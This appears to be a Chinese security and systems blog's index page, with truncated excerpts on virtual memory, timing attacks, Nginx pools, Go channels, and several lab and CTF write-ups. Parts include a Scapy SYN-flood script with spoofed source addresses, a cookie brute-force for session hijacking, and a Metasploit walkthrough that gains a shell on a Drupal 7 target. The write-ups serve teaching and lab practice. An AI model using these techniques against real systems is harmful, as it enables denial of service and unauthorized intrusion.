Linux虚拟内存管理这一章节主要起源于我在了解epoll机制的时候涉及到了mmap,然后里面涉及到了文件映射与匿名映射区。这个区域是在用户态空间的内存中的一块区域,索性又复习了一下虚拟内存管理的知识。主要是参考bin大神的公众号的内容,花了一下午时间看了之后醍醐灌顶,整理了一下,便有此篇。
什么是虚拟地址以及为什么要使用虚拟地址bin大神做了一个类比,把虚拟地址类比成我们的收货地址。
全部页目录类比省份,上层页目录类比市等等,以此类推。这个全部页目录、上层页目录有点类似于mysql的索引,可以类比一下。
为什么要使用虚拟内存呢?原因是如果直接使用物理内存,我们需要程序员自己手动的去管理内存,而且自己处理冲突。
bin举了以下的例子:如果不使用虚拟内存,在我们的程序中有一个i变量, 如果我们运行三个程序,都使用这样一个代码,会发生什么呢?地址冲突
如果我们使用了虚拟内存,在每个进程中虚拟内存中的地址都为0x354,但是映射到物理内存之后就是完全不同的地址。也就是说在每个进程看来,它自己完全独占了整个内存。
进程虚拟内存空间代码段: 用于存放进程程序二进制文件中的机器指令
数据段和 ...
在java.security.MessageDigest.isEqual中有这样一个函数public static boolean isEqual(byte[] digesta, byte[] digestb),用来判断两个字节数组是否相等
我们关注的是这里的代码:对两个字节数组进行逐个字节的异或操作,并将结果保存在变量 result 中。如果这两个字节数组完全相等,最后的结果肯定是0
但为什么不这样写呢,这样不是一个更好的写法吗?
然后我们发现注释是:time-constant comparison,恒定时间比较!背后的原因就是如果采用后面的这种方面完成这个函数就会导致安全问题——定时攻击,他是属于侧信道攻击的一种。
攻击者会尝试输入axxxx、bxxx等密码,通过找到耗时最短的响应所对应的输入密码,则可穷举出一位。如此这般则会得到所有的密文。
所以为了防止这种攻击生效,需要穷尽所有位,这样攻击者就得不到密文之中的信息。
感兴趣的可以参考斯坦福大学在05年的一篇paper:Remote timing attacks are practical, 他就使用定时攻击从基于OpenS ...
Nginx 内存池内存池结构内存池中主要涉及结构体:
创建内存池程序首先会创建一个内存池,之后程序内需要使用内存时,会从内存池中分配内存。创建内存池的代码如下
1234567891011121314151617181920212223242526ngx_pool_t *ngx_create_pool(size_t size, ngx_log_t *log){ ngx_pool_t *p; p = ngx_memalign(NGX_POOL_ALIGNMENT, size, log); if (p == NULL) { return NULL; } p->d.last = (u_char *) p + sizeof(ngx_pool_t); p->d.end = (u_char *) p + size; p->d.next = NULL; p->d.failed = 0; size = size - sizeof(ngx_pool_t); p->max ...
网络空间安全技术信息安全概论第一部分解释网络空间安全
网络空间安全是关键信息基础设施保护(Critical Information Infrastructure Protection, CIIP) 的必要组成部分,同时,对关键基础设施服务的充分保护也有助于满足基础安全需求 (即关键基础设施的安全性、可靠性和可用性),进一步实现网络空间安全的目标。
第二部分信息安全及其基本目标信息本身的机密性、完整性和可用性的保持。
机密性:防止未经授权使用信息
完整性:防止对信息的非法修改和破坏
可用性:确保及时可靠地使用信息。
网络安全四大基础板块:
信息安全
应用安全
网络安全
因特网安全
信息安全风险管理第一部分S:网络空间安全资产的分类(能判断哪个是资产)
S:风险分析(WannaCry是由哪一个风险引起的)
C:什么是风险
C:风险评估的概念
第二部分资产以多种形式存在:
物理的、逻辑的
硬件的、软件的
有形的、无形的
静态的、动态的
技术的、管理的
注意资产的定义就行:资产是任何对组织有价值的东西,是要保护的对象。
脆弱性脆弱性本身并不对资产构成危害,但是在一定条件得到满足时,脆弱性会 ...
Golang: channelGo语言以他的原生支持高并发而闻名。一个经典的话就是:**Do not communicate by sharing memory; instead, share memory by communicating.**所以这篇就探索一下channel。
Goroutine(协程)它是一种轻量级的线程,不是操作系统的线程。与其他Go协程并发地运行在同一地址空间的函数。
这里暂且将他理解为一个轻量级的线程(因为他的栈大小每个线程不一样,相比于OS线程固定的2M来说,Goroutine一般为2KB,但是最大可以是1GB)
使用方法就是在函数前加上go这个关键字就好。
以下是知乎上对goroutine总结的三个陷阱(bak):
在golang中,goroutine是有三个主要的陷阱:
goroutine leaks
data race
incomplete work
对于1和3的情况:Never start a goroutine without knowing how it will stop.
对于2:Don’t communicate by ...
我就做一上午的时间,做了几个会的~
SimpleHash使用sha256单向散列,直接暴力破解,也没啥说的
12345678910111213141516171819202122232425262728293031323334353637383940import hashlibgiven_hashes = ["8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643","6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d","a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7","6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d","e632b7095b0bf32c260fa4c539e9fd7 ...
A01:2021 – 权限控制失效Hijack a session开发自己的会话 ID 的应用程序开发人员经常忘记合并安全性所需的复杂性和随机性。如果特定于用户的会话 ID 不复杂且随机,则应用程序极易受到基于会话的暴力攻击。
我觉得这方面可以使用JWT或者类似JWT的思想来解决,在后端对得到的敏感Cookie信息进行验签等动作
先对网页进行抓包,发送到Repeater方便观察规律
发送两次请求
可以看到他们的hijack_cookie不同,中间相差一个4796638040248218963-xxxxx的Cookie,这也就是系统模拟的他人登录之后获得的Cookie,所以这个63就是我们需要进行劫持的对象。
同时通过观察看到最后几位数字17009253xxxxx是固定的,但是后面四位数字是随机的。所以我们可以写一个脚本进行爆破就行。即hijack_cookie=4796638040248218963-17009253xxxxx随机最后五位就行。
结果
Insecure Direct Object References
第一步按照提示输入账号密码就行。
点击按钮 ...
TCP/IP Attack LabTask 1: SYN Flooding Attack查看队列长度
sysctl net.ipv4.tcp_max_syn_backlog
Task 1.1: Launching the Attack Using Python编写攻击程序
12345678910111213141516#!/bin/env python3from scapy.all import IP, TCP, sendfrom ipaddress import IPv4Addressfrom random import getrandbitsip = IP(dst="10.9.0.5")tcp = TCP(dport=23, flags='S')pkt = ip/tcpwhile True: pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP pkt[TCP].sport = getrandbits(16) # source port pkt[T ...
DC-1探测进行内网扫描,确定靶机
1nmap -sP 10.0.2.0/24
找到靶机的IP:10.0.2.7
扫描端口。查看存在哪些开放的端口,方便确定攻击向量
开放列表
22/tcp ssh
80/tcp http
111/tcp rpcbind
45400/tcp unknown
发现漏洞之后访问80端口的页面看看有没有可以攻击的地方。
只有一个登录界面,其实看到这个页面可以想到弱口令,越权访问(通过创建新账户、更改密码)但是试了一下好像不行。然后扫一下目录看看有没有后台啥的,也没扫到。
之后使用Metasploit看看这个网站有没有什么漏洞,看看网站指纹
他的CMS版本为Drupal 7,搜一下有啥漏洞
试了一下1可以用,设置目标主机地址,执行POC:
成功拿到shell
获得控制权
但是是用户权限,不是root权限.利用ls命令查看到有flag1.txt
提示我们看看配置文件
通过我们千辛万苦寻找找到一个配置的php文件,cat命令看看
然后一进去很瞩目的flag2和数据库的账号和密码,还给我们说是 ...
Packet Sniffing and Spoofing LabLab Task Set 1: Using Scapy to Sniff and Spoof PacketsTask 1.1: Sniffing PacketsTask 1.1A使用ifconfig查看网卡名
修改sniffer.py
使用root身份运行命令。
当切换为普通用户权限时,发现无法进行操作。
Task 1.1B
Capture only the ICMP packet
Capture any TCP packet that comes from a particular IP and with a destination port number 23.
我们写一个发包脚本:
运行这两个python,发现成功运行。
Capture packets comes from or to go to a particular subnet. You can pick any subnet, such as 128.230.0.0/16; you should not pick th ...